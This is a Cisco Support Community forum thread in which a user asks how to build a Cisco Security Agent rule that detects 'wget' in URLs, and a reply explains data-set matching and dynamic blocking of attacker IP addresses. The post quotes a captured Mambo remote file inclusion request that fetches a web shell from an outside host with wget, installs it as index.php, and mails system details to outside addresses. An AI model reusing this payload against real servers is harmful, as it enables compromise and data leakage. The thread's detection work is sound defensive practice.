Cisco Support Community
cancel
Showing results for 
Search instead for 
Did you mean: 
Announcements

Welcome to Cisco Support Community. We would love to have your feedback.

For an introduction to the new site, click here. And see here for current known issues.

New Member

CSA rule for URL strings

I would like to create a rule that triggers on specific URL strings. For example, an attacker is connecting to the Web Server my csa is on, and their http request is:

/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://210.187.2.70/php/cm?&cmd=cd cache;wget 210.187.2.70/php/cm;mv cm index.php;rm -rf cm*; uname -a | mail -s uname_i2_63.160.93.140 kkparole@yahoo.com;uname -a | mail -s uname_i2_6 3.160.93.140 ursuparole@gmail.com;echo| HTTP/ 1.1.Host: 63.160 .93.140.User-Agent: Mozilla/4.0 (compatible; MSI E 6.0; Windows NT 5.1;)

I want the rule to trigger on the "wget". Any suggestions on making this rule, and how can I get the source IP address?

2 REPLIES
Bronze
New Member

Re: CSA rule for URL strings

Configure your data set to include *wget* or maybe *;wget* to be more unique. Look in the default data set labelled: Common UNIX command exploits. wget is in that data set already.

In CSA 5.0 and greater, the DACL rule has the SET action. You can set the Host Address to the untrusted Host lists (local only -or- locally and globally). This updates the IP address list in the @dynamic variable. Use @dynamic where you would a Network Address Set to have other rules use this list of IP Addresses.

101
Views
0
Helpful
2
Replies
CreatePlease to create content